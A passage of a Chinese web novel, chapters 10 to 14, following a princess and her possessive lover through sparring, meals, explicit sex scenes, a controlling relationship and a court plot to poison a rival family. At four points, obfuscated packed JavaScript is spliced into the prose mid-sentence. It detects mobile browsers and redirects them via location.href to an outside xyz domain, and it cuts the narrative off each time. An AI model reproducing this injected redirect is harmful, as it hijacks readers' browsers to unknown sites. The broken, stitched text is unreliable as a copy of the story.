江令薇悬着的心这才放下大半,望着漫天花落,大口大口地喘着气,明明是寒凉的深秋,额头上竟也沁出了汗。 一只微热的大手取走她掌中弯刀,她条件反射地握住刀柄。 “还想打?” 江令薇霎时反应过来,配合地摊开掌心,任由他拿走弯刀。 铮的一声,弯刀飞回到外头记陆身边,嵌入进墙角青石里。 记陆围着弯刀暗暗咋舌的同时,也感到一阵由衷的羡慕,主子武功极高,殿下能日日得到其亲自教导切磋,真是羡煞旁人。 江令薇抬眸看了眼连半滴汗都没出的裴渡舟,挫败地移开视线,声音闷闷的,“输了,心服口服。” 裴渡舟意味不明地嗯了一声,狭长眸子停在她面上打量了半晌。 “还生气吗?”他问。 “……不敢生气,”她想了一会儿,还是说了实话,“怕你打我。” 他毫不意外会听到这种答案,双指抬起她的脸,用软帕擦过她鼻尖,额头冒出的细密汗珠。 “我什么时候打过你?”他托住她双腿,将人抱起,平视着她耷拉的杏眸,“是因为郡王的位置跟我生气,还是那些羞辱人的话?” 骤然悬空,她下意识环住他腰背,害怕掉下去,听到此话,她缓缓凝视他琥珀色的眼珠,坚定地道:“前者。” 她想知道为什么不要郡王之位? “我看出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974406|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。”他轻挑下眉,语气无波澜,眸中却像凝了几片雪花,风雪欲来。 “你向来不怎么会做戏,只会哭。金銮殿里,你看我的眼神,我怎会不知呢。” 说到这,他话音一转,嗓音里染上几分克制的薄怒,“可,我们在一起两年,就因为一个小小的郡王之位,用那样的眼神看我。” “合适吗?” 江令薇却有些懵,她怎么不记得自己用什么不合适的眼神看他? 如此想,她也直接问出口了。 “怀疑。”他目不转睛地盯着她,不放过她面上任何一个表情,“我记得你之前对地位并没有很在意,怎么三个月不见,变那么多?” “有人在你耳边说了什么是吗?让你怀疑我。” “我没怀疑你。”江令薇否认,觉得他莫名其妙,但也没办法,知道他的性子,只好剖析心中所想。 “之前是不怎么在意,你要我做什么,我就去做。但今天我第一次站在那,当时时辰尚早,金銮殿前没什么人,我看了好一会儿。 我想你之前说的是对的,十二州的一切,谁不想拥有呢。所以,我听到你当众反驳封赏,我只是不明白,我想知道为什么?并没有怀疑你。” 裴渡舟仔细地观察着她的眼睛,在发现里面一片澄澈后,压低的剑眉才略有缓和。 “以后,不准用那样的眼神看我。”他声音冷冽,警告她,“更加不准对我有怀疑之心。” “我害谁都不会害你的。” 那双狭长的瑞凤眼定定注视着她,里面蕴含的情愫令人心惊。 许是他说话时的神态语气罕见地郑重,江令薇眨了眨眼,有些发愣。 “我也是,我永远不会对你忘恩负义,会回报你,我会对你好的。”她几乎是下意识地开口,说完后面上都还带着刚才的怔愣。 他直勾勾地盯着她,在确认她说的皆出自真心后,将人放下,顺势握住手心。 “那是当然。”他打量着满园花影,薄唇抑制不住地勾起。 11. 第 11 章 “今日倒是会说话。”裴渡舟牵着江令薇的手,漫步离开后花园。 “我说的是真心话。”她停下步伐,抬头仰视着他,一字一顿道:“我会努力,像你对我那样对你的。” 即便是兽性未泯,但对于一直对自己好的人,再凶恶的小兽也会尽可能去回报这个人。 望着她黑白分明的眼睛,裴渡舟喉头微动,心跳不知不觉漏了一拍,汹涌的情愫潮水似的翻涌。 他大手不自觉抚上她的面颊,微微俯身,微甜的雪莲花香味如他这个人一样缓缓欺近,两人间的距离近在咫尺。 阴沉沉的天刮起了微风,梧桐树叶沙沙的响,与飘动的花瓣一齐随风摆动。 气氛恰到好处,他的大手也移到了她的后脑处,稍稍用力,使她不得随意动弹。 随后,滚烫的呼吸落了下来。 却不是想象中的柔软。 裴渡舟睁开眼睛,江令薇正用手挡着嘴唇,手心对着他。 “渡舟哥哥,你为什么不让我得封郡王?”她没有忘记这个问题。 他眉头微动,栖息着浓郁暗芒的眸子眯了眯,薄唇沿着她手心的弧度慢慢往右移动。 她登时一惊,直觉眼前的发展不对,当即想放下手。 但他似有所感,大手牢牢钳制住她的那只手,使她无法动弹。 温热的气息与触感停顿在她的手骨间,再往前一点,手腕上赫然可见一颗小痣。 像是墨点,落在青紫交错的血管间。 她略显慌乱地皱紧眉头,以为他要在这里做什么,她饭都没吃,哪有体力? “可我还没吃饭,很饿,待会吧,好吗?”她恳求道,眼巴巴地看着他,害怕他不同意。 他不语,只是扫了她圆润的杏眸一眼,收回视线时,鸦羽似的睫毛遮盖了眸中的星点笑意。 本来不渝的心情也渐渐转晴。 隔着细腻的肌肤,他吻住了那颗小痣。 滚烫的呼吸透过肌肤,传递进血肉里,向她诉说不曾以言语表达的情愫。 江令薇却只觉得手被他弄得太热了,有些不喜,出声想制止他,“别搞了,我好饿啊……” 裴渡舟眸中笑意淡了一点,他捏了捏她的脸颊,“天底下应该还没有饿死的公主。” 她抿了抿唇,想要反驳,但想到曾经的自己,靠着馊饭残羹,饥一顿饱一顿的也活了下来,又不知该说什么。 “走,去吃饭。”他一看她的表情就知道她在想什么,平静的眼底起了些波澜,唇线也抿直了几分。 她立刻应下,“我早就饿了,但你非要跟我打架,我们快走吧。” 话落,左手便被他握住,以一种不容拒绝的力道挤入她掌心,牢牢握住她的五指,像安抚,也像压制。 “恶人先告状,一回来那副模样,不是奔着大吵一架就是大打一架去的,我成全你,如今还反过来污蔑我。”他挑眉,一边迈开步子,一边观察她的表情。 她早就习惯了他的注视,闻言狐疑地歪着头,“我有那样吗?” “当时也许该给你照照镜子。”他说着逗弄的话,眉宇间却微不可查的隆起,他看的分明,她回想起宫廷生活时,像个旁观的局外人,一丁点人该有的情绪都没有。 他平常恨她是个木头,可有些时候,却也庆幸她是个木头。 “……那,我下次注意,一定忍着,不表露出来。”她汕汕地保证。 “你的意思是我要谢谢你不成?”话虽如此,他还是细心地拂开拱门边快戳到她发丝的茉莉。 “不用,你以后少教训我就行了。”她听懂了他的讽刺,一边心虚,一边顺杆往上爬。 “很不服?” “一点点……”她稍稍修饰了一下。 听到这话,他眉心折痕舒展了些许,薄唇小幅度地弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中间的一道肉食看起来与平常吃的不同,色泽寡淡,在一众精致的膳食中显得格外与众不同,想来应该是安南的厨子做的。 “他们做的东西好吃吗?”江令薇期待地问旁边的裴渡舟,他面色仍旧不好看,闻言淡淡地扫了她一眼,“你猜。” 听到这略显阴阳怪气的话,她也不生气,每天用膳时,是她一天中心情最好的时候。 满心期待地拉着人坐下,她首先夹了一筷那道寡淡的肉食,入口意外的软嫩,汁水丰盈,滑入喉中,朝会时的不满与切磋后的疲累全都没了,只剩舒舒服服的满足感。 “好吃!”她连连点头,腮帮子撑得鼓鼓的。 不知何时转晴的日光穿过雕花窗棂照在她脸上,为白皙的肌肤蒙上了一层生动的暖意,那双乌黑的瞳孔也亮晶晶的,暖光浮动间,染上了几分棕色的光晕,似琥珀。 裴渡舟缓缓凝视着她的面颊,鼻梁,眼睛…… 向来淡漠的心头似有春水流淌,流过四肢百骸,顺着身体绕了一圈,带走那些因她受伤而一直存在的后怕,最后涌回心头,只余她此刻的音容。 一连吃了好几块肉,江令薇总算发现他目不转睛的视线,不由一怔,以为他已经□□焚身,迫不及待了。 心里虽然不太能理解怎么会有人重欲到这种地步,但她还是加快了用膳速度,“等我吃完吧……” 咬了半口丸子,余光却见他仍旧看着自己,想了想,她放下筷子,安抚地握住他宽厚的大手,“姑且忍一忍,好吗?” 染上棕色光晕的瞳孔与他的琥珀色眼珠在空中交汇,对视的一瞬间,周围的一切如同雾气般缥缈,只有她是那么的真实。 她嘴唇微张,似是说了什么,但他分辨不了,直勾勾地盯着那双棕色瞳孔。 真像他,真好。 “渡舟哥哥?你怎么了?”江令薇莫名,伸手在他面前挥了挥。“要不找李疏帮你看看,开几副药吃一吃。”她实在担心。 回神只在一刹那,裴渡舟终于移开目光,下意识道:“吃什么药?” 面前一只白瓷茶杯,微黄的茶水映出他此刻的神情。 发现自己在无意识地笑,他咳嗽一声,掩饰般地端起茶啜了一口。自然也没听清楚她明显小下来的声音。 “缓解房事欲望的药……”她做贼心虚地低下了头,等着他的训斥。 虽然知道他不爱听,但为了身体着想,她觉得自己可以适当提醒他。 年过二十七,这种事的频率着实要减少,她偶然翻过一本书,恰巧是讲房事需节制,不可日日如此。 “缓解什么?”他面色已恢复正常,侧目看向她。 感受到头顶那道如有实质的目光,她犹豫了一会儿,最终还是慢慢抬起头,却也不看他,鼓劲似地猛灌了一杯茶水。 那仿佛一辈子没喝过水的动作看的裴渡舟直皱眉,他轻拍她后背顺气,“慢点喝,没人跟你抢。” 江令薇放下茶杯,长出了一口气,也不敢看他,心虚地瞅着面前膳食,道:“你的欲望……” 话说得没头没尾,但裴渡舟最是了解她,回想起她刚才说的吃药,当即明白过来,脸色变得阴沉,“你记不记得我们已经三个月没见了?” “记得……”声音细若蚊蝇。 “那还敢说这种话,我告诉你,今晚,你想也得想,不想也得想。” 他眉梢紧锁,一双瑞凤眼死死盯着她,眸底满是跳动的火光。 “我……”她惴惴不安地抬起头,撞进他锐利的眸子中,登时一惊,嘴巴比脑子快,“我错了……” 裴渡舟深吸一口气,勉强忍住教训她的冲动,执起玉筷,夹了一块滋味醇和的白肉放至她碗中。 “吃。” 言简意赅,语气幽冷。 在他凛然的目光下,她瞬间读懂了他的意思,他是要她把嘴堵上。 说不清是庆幸没被训斥,还是后悔说让他吃药的话,怀着这样复杂的心情,她吃下了那块白肉。 见她乖顺,他面色稍缓和,耐着性子警告:“这种话,不要再有下次。” “不会了……”她默默地点头。他想频繁地做就做吧。 裴渡舟也没再继续警告她,简单吃了点,其余时间都是在为她夹菜,而她显然也是习惯了他的服侍,那阵害怕的劲过去后,满心满眼只有碗碟里的肉,吃得很香。 两人用膳的时候,周围没有旁的侍从,只有罗玄与记陆值守在门外。正门紧闭,没有吩咐也不得进来。 最主要的原因是裴渡舟不喜有人看到江令薇吃饭时的样子,这时的她,是最生动鲜活的,也最像个人。 她的这一面,除了一些不得已的时候,他不想让任何人看到。 等确认她吃饱之后,裴渡舟想起朝会散了后与皇帝的密谈,皇帝要他收网,加一剂猛料,除掉周家。 由谁来加猛料,他已经有了人选。 他拿过一旁的帕子,一边为江令薇擦拭唇畔油渍,一边道:“朝堂之上,知道自己的优势是什么吗?” 她有些意外他的问题,不是先前就□□焚身吗?她还以为…… “嗯?”他立时看出她的走神。 “吃撑了,我好好想想……”她连忙敷衍过去,生怕被他看出来自己在想什么。 他意味不明地冷笑,也不知信没信。 她努力想了一会儿,最后不确定的道:“我的优势,就是……什么都没有。” 他淡笑,指腹沿着她唇畔的弧度刮了刮,“是了,你看似什么都没有。而其余人再废物也比你拥有的多,这并非不是好事。” “嗯。”她 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她完全体会不到他未说出口的意思,见他不说话了,困惑的道:“怎么了?我身世有问题吗?” “没有,”他声音很轻,“很合适……” 也很给他省事,但如果可以,他不需要这样的省事。 他压下眸底的情绪,在她耳畔低语:“你去了,不需要说多么好听的话,也不需要你表现的多么机灵能干,在注意分寸的前提下,可以想说什么就说什么。但是,你要记住我之前跟你说的话,当一个从未感受过别人半分好,渴望父爱的皇女,去孝顺陛下。你们这些开了府的子嗣周皇后没权力拦,只看陛下想不想见。我相信,他会见你的。” “我知道了。” “另外,陛下当初是靠着娶了周皇后,在周家扶持下登位的,所以如今朝堂后宫都是以周家人为首。陛下虽然年迈,但怎能容忍。我跟你提过,周家人是秋后的蚂蚱,蹦哒不了多久。你被周皇后关了十四年,与他们是天生的死敌。” 说到这,他再度停下,大手轻轻掰过她的脸,目不转睛注视她的眼睛,“他们注定要死,我们要做的就是要让他们死得其所。薇薇,我希望由你来做这个握刀的人。” “你愿意么?” 他眸光幽暗,似是沉寂着一团浓重的雾气,辨不清是何情绪,却令人心惊。 被这样的目光凝视,她有些怔愣,一时没有回答,而他好像也不急,静静地等着。 斜射下来的日光斑驳在两人的面容间,让他的琥珀色眼珠更为透亮,也让她晃了眼。 她缓缓眨了眨眸子,随即垂下头,声音略低,“你这样看我,是不想我做么?可既然是握刀,我必有好处。” “是有好处。”他承认,声音听不出任何情绪。 听到这,她回视他的面容,一字一顿道:“那我愿意。” 13. 第 13 章 听见预料之中的答案,裴渡舟深深地看了江令薇一眼,手臂不禁环得更紧,想要把人融进骨血,哪都去不了。 “很好。”他闭了闭眼,遮住眸底的暗光。 “所以,陛下的病是装的吗?他在捧杀太子?”江令薇适时的问道。 联想到回府时撞见的周家人强抢民女一事,以及少隐提起的事,她越发觉得皇帝就是在装病。 裴渡舟阖着眸子,声音听不出情绪,“自然。” “五十多岁,半截身子入土的老东西,现在是装病,再过几年,他不死也得死。” 云淡风轻的语气,旁人不知只以为是在聊什么家常,哪能想到是在为当今陛下“断命”。 “你……能闯过重重禁军杀了他?”江令薇有些惊讶,一人怎能敌万人?再勇猛都做不到吧。 “想什么呢。”裴渡舟抬手轻抚她腰肢,慢条斯理地摩挲,“人非神祇,怎能敌万军。” “那他要如何死?”她恍然不觉自己是在议论生身父亲的生死。 他大手上移,来到她耳垂的位置缓缓抚摸,“死是世上最简单的事。再说,很多人指着他死。” “太子吗?”她猜测道。 他没回答,反而问了另一个明知答案的问题,他想听她对自己的坚定不移。 “你的父皇若是死了,你会难过吗?” 她诚实地摇了摇头。想了想,又接着道:“他死了,我能哭,但我做不到为他难过。” “那你会为谁难过?”他声音再次变低,语气很淡,似乎并不在意她的回答,“天下之大,谁死了,你会难过?” “你。”她直言,没有一丝犹豫。虽然不懂自己难过会是什么样,但本能的,她不希望他受伤,甚至是死…… 望着他变得炽热的眼神,她皱眉,圆润的杏眸定定地凝视他,略有些不渝的道:“如果你喜欢听这种话,我可以天天说。但是能不能不要把死字挂在自己嘴边,我不喜欢。” 她抿着唇,小脸皱成一团,直白地诉说自己的想法。 她说她不喜欢。听在他耳朵里,却自动变为了她另类的表白。 心里霎时软成了一滩水,刚才因她答应的太过坚定,而生出的百般不安顷刻间消散。 做扳倒周家的握刀之人,确确实实有很大的好处,她会得势,他一直以来所做的,也都是为了帮她得势。 但是,在那一刻快要来临时,在她说愿意的时候,他还是不可避免的担忧。 担忧她不再愿意受自己的掌控,硬了翅膀,野了心。 然而到此刻,各种不安的情绪都没了,只剩迫切的情愫在四肢百骸翻涌。 “依你。”他声音微哑,薄唇贴着她的颈侧,在血管间轻轻地吮吸了一下,然后移到后颈,隔着垂落下来的青丝亲吻。 他的唇温热,落在她冰凉的肌肤上,激起一片鸡皮疙瘩。 她忍住逃离的冲动,乖顺地坐在椅子上,任由他轻吻。 “但是,刚才我确定你就是不想让我去做,为什么?”她没忘记他刚才的那一眼。 如果不愿意,如果不可以,为何要提?她想知道理由。 他没说话,似乎没听见。 大手揽住她瘦削的腰身,将人提了起来,细密的吻沿着她耳垂往下游离,颈侧,下巴,与她唇瓣一触即分后又再度落于她的发丝里。 浑身上下都笼罩着他滚烫的气息,她头皮微麻,虽然还有很多想问的,但她知道他不会再回答了,只能配合地闭上眼,克制住心里的困惑。 双腿骤然悬空,她匆忙环住他的脖子,将脑袋靠在他怀里。 他抬起她的脸,带着薄茧的指腹蹭过她柔软的唇,抚摸她的侧脸,吻却一直停留于她的肩颈两侧,衣裳的领口早已凌乱,露出纤细的锁骨。 她呼吸变得急促,脸颊在他不停的摩挲下逐渐涨红。 叮当—— 她发髻蓦然一松,青丝散落,插在上方的几只银簪被他扔在地面,发出清脆的碰撞声。 “主子?”外头的记陆两人听到声响,也不敢贸然进去,试探的出声。 “无事。” 男人的声音沙哑,透着几分情潮。 两人立刻反应过来,老神在在地守在门前。 “去厨房熬药。”低哑的声音再度传来。 “是。”两人差点忘了还有这茬,立马往厨房飞奔过去。 江令薇脑袋有些晕沉,裴渡舟的吻与往日里的慢条斯理或是急促凶狠不同,是一种近乎于二者中间不断游离的存在,像是温柔的缠绵,也像是偏执到了极致的掌控。 她的脸再一次被他掰过去,变得炙热的吻紧贴着她的后颈,肩颈……他今天似乎对她肌肤表面的血管格外情有独钟。 那里很脆弱,被人触碰,寓意着被人捏住性命,被掌控。 她起初也是不习惯他亲近那里的,但在他的言语引导下,她又恍然觉得,有什么关系呢,他说的对,既然要回报,要奉献,自然亲近哪里都可以。 理所当然。 咣当一响,凳子翻倒,将她从过往的思绪中拉回来。 他似是不满她的走神,稍稍用力捏了捏她的耳垂。 不痛,反而有些酥麻。她忍不住缩了缩脑袋,却被他牢牢按住,反抗不了分毫。 肩膀上外衫已经半褪不褪,半挂在那,领口被青筋蚺起的大手往下拉,深秋的天,便是放了熏炉暖气撩人的屋内,被衣裳掩盖的肌肤乍一显露,还是免不了一哆嗦。 江令薇倒吸一口冷气,睫毛颤抖得厉害,下一刻,带着滚烫气息的吻很快驱走了寒冷,轻柔地沿着她锁骨的弧度慢慢往下。 她不禁皱了皱眉,手脚随着他的动作下意识一颤。 哐当—— 桌子上的碗碟被她不小心用手挥落,他包住她的手,踹开挡路的凳子,大步来到西侧间的暖阁。 一进入这里,暖意扑面而来,她把手放下来,想要脱衣服,这里面实在太热了。 裴渡舟将她抛在柔软的床榻上,大手快速解开自己身上的衣袍,俊脸染上了几分薄红,呼吸也是显而易见的急促。 见他这样急,江令薇加快了脱衣服的速度,三下五除二就把身上衣裳脱的只剩白色里衣。 正要解开腰间丝带时,一只大手骤然抬起她的脸,饱含着情动的吻重重落在她唇上。 她被压在床上,大脑空白的同时,双手攀上他劲瘦有力的后背,努力回应他。 他一手扣住她后脑勺,一手抽开她腰间丝带。 两人肌肤相触,她天生身体寒凉,与他火热的身躯贴在一起,却不觉得舒适,因为室内实在过分温暖,又与他紧密相拥,一时间像进了火炉,双颊红得厉害,额头冒出些许细汗。 他埋首于她肩颈,大手拂开她耳旁的发丝,重重吮吸她的脖颈。 她有些吃痛,痛苦地皱起眉头,双手陷进他腰背的沟壑里,他闷哼一声,轻轻吻住她的唇,带着安抚的意味。 她渐渐放松,寒凉的身体寸寸染上属于他的温度。 室内温暖如春,一切都是刚刚好。 途中,裴渡舟下床去喝了避子药,那药他喝了两年,只要行房,便会命人去熬。 药终归伤身,江令薇起初劝过他,以后少做一点,别喝那么多药。 他当时揶揄她,“还以为会说自己去喝。” “药伤身,我不喝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974409|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一本正经地回答。 “嗯。”他失笑,环抱着她,薄唇贴着她耳廓,哑着声音道:“我喝就够了。” …… 眼前是裴渡舟起伏的身形,挂于床头的帷幔早已合上,周围一片黑暗,只能听见身体交.合的动静。 江令薇意识迷蒙,脑海里的思绪被身前人的动作搅得一片空白,有点分不清这是磨人的梦境还是现实。 小腹酸胀得厉害,恍惚间还有另一种熟悉的感觉传来,思绪恢复了一点点,她缓缓眨着眼睛,猜测现在约是傍晚时分,证据就是她又饿了,每日到用膳时间她才会饥饿,十分准时。 而覆在她身上的人,却似乎有用不完的精力,埋首于她颈窝,在显露的血管与那道丑陋的疤痕间频频吻过。 中间自然也流连过其他地方,但最喜爱的却唯有肩颈两侧的肌肤。 特别是那道蜿蜒的深色疤痕,吻过时力道很轻,与他另一处的极重形成鲜明对比。 身体在他的动作下起伏颠.簸,酸涩得厉害,她费力抬起双手抵住他的胸膛,嗓音有气无力,几乎带着哭腔,“渡舟哥哥……别……” 做这种事最是消耗精力,他怎么不会累呢? 上方传来一声轻笑,她抵着的胸膛微微震动,他整个人恰如雪中莲成了精,肌肤光滑无瑕疵,她双手本就无力,只能紧紧掐着他线条分明的腰腹,吃力抵着,不让他再压.下来。 “言行不一,说不要怎么还摸我?”裴渡舟眸中划过戏谑,握住腰腹上的双手,好整以暇地打量她。 感受到他停.下来的动作,她总算松了口气,缓了一会儿后,反驳道:“摸你和想.做是两码事,不能混为一谈。” 她回答得很认真,然而声音却软乎乎的,动人心弦。 他眉梢微挑,感受着心间的波动,漫不经心地接近她的脸颊,在她偏头想躲的时候顺势吻过她的耳垂,“狡辩。” 炽热的气息穿过早就通红的耳朵,注入脑海,异样的酥麻感从足尖升至脑门,晕乎乎的。 她晃了晃发沉的脑袋,努力维持最后的清明,不能再做了,身体实在酸涩。 “不要勾引我了,真的不可以。” 听到这充满指控的话,他喉间溢出一声闷笑,似是高山流水,随着淙淙水流,不时撞击在石子上,低沉又极富韵律。 她好不容易拉回的意识瞬间土崩瓦解,脑海里只剩下他的音容。 他果然爱勾引自己。她迷迷糊糊地想。 “……好吧,最后一次。”她偏头对上他的眉眼,那一双朗星般的眸子微弯,她瞬间意识到,他是故意的。 故意在她意志力不坚的时候,在她耳边说话,低笑。 “这可是你自己愿意的。”他扬眉,声音压得十分低,热气一呼一吸之间全喷洒在她耳朵边缘。 更晕了。 “是我自愿的,来吧。”她愣愣地点头,彻底没了思考的能力。 见她面上的痴迷,裴渡舟薄唇微勾,她抵挡不了什么,他了然于心。 多月未见,一天怎么够。 他俯身凑近,大手抚过她柔软的唇,微微摩挲。 如玉的拇指移开,他轻轻落下一吻,其余地方却再次加重,不出所料听到她唇齿间骤然溢出的吟.语。 他唇角微弯,大手横过她的腰肢,将人翻转,她背对着他,面颊陷进温热的锦被中。 情潮从全身翻涌时,她恍惚间听见几声低语。 “那些辱人之话,只能左耳进右耳出,知道么。” “我的薇薇……” 风雨浮沉,她似飘荡在海面的孤舟,无助地随着海浪的拍打起伏,早已分辨不了他的话是什么意思。 14. 第 14 章 月色爬上枝头,暖阁里的动静才堪堪停下。 一日未处理政事,堆积的折子已经摞了一排高。 即使如此,记陆与罗玄两人也不敢去提醒裴渡舟,一直安安分分地守在门外,与双手提着食盒的少隐大眼瞪小眼。 过了会儿,正门总算从里面打开,露出裴渡舟颀长的身姿,唇角隐约可见一抹浅淡的弧度。 三人不敢多看,赶忙见礼。 他目光扫过少隐手上的食盒,淡声道:“什么东西?” 少隐道:“是殿下指名要吃的馄饨,回府路上遇到周家旁支的公子绑了一位馄饨摊主,殿下命属下去救人,要其做了三碗馄饨作为谢礼。” “男的女的?”裴渡舟声音听不出情绪,仿佛只是顺势一问。 少隐头垂得更低,有些忐忑的道:“是女人。” “倒了,让厨房里的人重做。” 毫无波澜的语气,三人却立时如临大敌,特别是少隐,后背都渗出了冷汗,忙不迭跪下,“属下知罪。” 裴渡舟未曾言语,视线在少隐脸上的面具扫了一圈。 少隐只觉得自己被山中猛兽死死盯上,全身血液几乎倒流,汇聚到头顶,震得天灵盖发麻。 其余两人也是相同的感受,低着头努力降低自己的存在感,害怕被迁怒。 早先他们见少隐提着食盒还好奇,问了才清楚是殿下救人的谢礼,救人是小,对象是男是女差别可就大了。 知道是女人后他们才算松了一口气。 是女人就好,要是殿下救的是个男人,只怕…… 两人不敢想会有什么可能。 但他们和少隐万万没想到,救的是女人主子也会问罪。 回忆起殿下曾在立夏发洪水时,在路边随手救下一个差点要饿死的男人,那人当场就要攀附殿下,做牛做马,最后主子知道了,那人直接没了性命。 这事殿下不知道,但作为近身伺候的侍从,他们都很清楚。也是因为那件事,主子对府中人立下规矩,不准殿下去救旁的男人。 “属下……知罪,请主子责罚。”少隐显然也是想到了那件事,声音控制不住地颤抖。 “去叫李疏给你制一副挡眼的面具。” 淡漠无波的声音自头顶传来,少隐一怔,瞬间意识到什么,心惊胆战地应下。 沉稳的脚步声响起,渐远。 低着头的罗玄与纪陆默契地对视一眼,都从彼此眼里看到了不可置信。 主子最后竟然没有责罚。 想了想,两人又理解了。应该是刚与殿下在一处,心情不错,才没有惩处。 至于换面具是什么意思,此刻他们稍微一琢磨,也明白过来,主子八成是觉得少隐容貌招人,又为那摊主给殿下送馄饨,虽然是殿下自己要求,但难免会有勾引的嫌疑。 殿下喜爱吃食,到时候,少隐送馄饨,殿下保不齐一时欣喜之下,会多看少隐两眼,这…… 虽然有些离谱,但并非不可能。而主子就是要断绝一切有可能的可能。 …… 书房。 裴渡舟翻看着书案上堆积的折子,是记陆与罗玄两人从丞相府带来的。他通常都是在丞相府处理事务。 多是朝中庶务,其中有几本弹劾太子与周家行事嚣张,德不配位的折子。不用翻看,他知道那是朝中几名清直官吏写的,看不惯太子,三天两头往他这递折子,企图让他朝会时弹劾太子。 书案正中放了一封信笺,他拆开,里面密密麻麻写了今日周家人的所作所为,强抢民女,当街杀人,大放厥词…… 一目十行的看完,他拉开侧方的抽屉,四四方方的抽屉里塞满了同样的信笺,信封右下角画着一只毛发乌黑的鸟雀,是皇城司专用信笺。 不知想到什么,他眸中掠过一抹讥讽。 记陆端着茶水轻手轻脚地从门口进来。 “周洪的事办得怎样了?”裴渡舟侧目问他。 记陆把茶摆在一边,躬身回禀:“周洪听了属下派去之人的挑唆,近几个月与周家大公子关系愈发差了,常有争吵,周太师如您所料,一直拉偏架。周洪不忿,频频去长乐楼寻欢作乐,楼主也按您的吩咐在他酒水里下了李大夫制的毒药,一切都已经准备好。” “嗯。”裴渡舟啜了一口茶,脸庞隐在烛火照不到的黑暗里,“再等几日,选一个热闹点的好日子,送他们回家。” 夜很寂静,室内只闻茶盖与茶杯轻微刮过的清脆声响,恍惚间好似利器砍掉头骨,砰砰落地的动静。 纪陆全身汗毛直竖,恭敬称是。 所谓送他们回家,纪陆清楚,是让人回归到最初的地方,地府。 周洪是周太师第二子,周家二公子,为人贪好女色,与周家大公子感情尚可。不过自半年前周家下一任家主之位出来之后,兄弟俩的感情便有了裂缝。 主子对此的预测是:“兄弟俩反目是早晚的事,扳倒周家,要从周洪入手。”因此,便有了为期半年之久的挑唆,鼓动。 …… 回到暖阁时,江令薇正在小案上吃馄饨,脸颊微鼓,房事过后的脸色通红通红的,圆润的杏眸微微眯起,盯着碗里的小馄饨,似是有些不太理解。 裴渡舟自然知道她在想什么,馄饨是厨房做的,而非不知哪来的摊主所做。“好吃吗?”他在她旁边坐下。 见他来了,江令薇端起碗,舀起一个皮薄馅大的馄饨作势要喂给他。“你试试。” 味道不太像那个摊主的手艺,他也吃过的,应该能分辨出来。 裴渡舟配合地咬了一口,在她期待的眼神下,眼尾轻轻一扫而过她的手腕,瓷白的肌肤上有着数道痕迹,特别是那颗如墨的小痣,几乎被痕迹团团包围,逃不开一点。 江令薇狐疑地顺着他视线望过去,心头一跳,下意识地扯过衣袖挡住,“我不行!” 她以为他又想做了。 裴渡舟收回视线,散漫地往身后的圈椅上一靠,手指在案上轻敲,语意不明道:“还可以。” “真的不行!”她有些着急,哪有人经得住这般不休不眠的房事。她现在全身都酸涩得厉害。 “我说的是馄饨。”他抬眸,目光里的戏谑一览无余,“你想到哪去了?” 江令薇一噎,想说他故意戏弄自己,但又怕他顺着往下说,然后不可避免地提到房事,没完没了地问下去。一时之间她不知道该回答什么才好。 裴渡舟饶有兴致地打量她这幅犹犹豫豫的模样,不知不觉间,心头似有羽毛拂过,有些痒,一些不能宣之于口的妒意也消散了些许。 江令薇思索了半天也不知该如何应答,最后索性把手中碗放下,学着他的样子,靠在圈椅上,嘴硬道:“我什么也没想。” 裴渡舟笑了,端起装有馄饨的碗,慢慢地舀了舀,“不好吃么?” 见他没揪着刚才的问题不放,江令薇松了一口气,下意识点头。“总觉得不像之前吃过的那么好吃,没那个味道了。” “看来那个摊主手艺退步了。”她不无可惜地说着。 裴渡舟漫不经心地放下碗,淡淡道:“什么摊主?” 江令薇把回府遇到的事情告诉了他。 听到和少隐大差不差,甚至更加详细的回答,他不动声色地弯了弯唇,面对她的感叹,慢悠悠道:“事情总是会变的,人也一样。人家是为了做生意,自然不可能顾及你一个人的口感。惦记那些一变再变的人,是你的错,你应该惦记的,是那个永恒不变的人。” 这一长串饱含深意的话,听得江令薇一愣一愣的,她完全不理解他在说什么,“我惦记谁了?” 不等他回答,她又自顾自道:“馄饨摊主?可我也没惦记人家。你说的话好拗口啊。” 什么惦不惦记,奇奇怪怪的。 还有那句应该惦记的人,他想说的是他自己吗? 可……不就一碗馄饨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 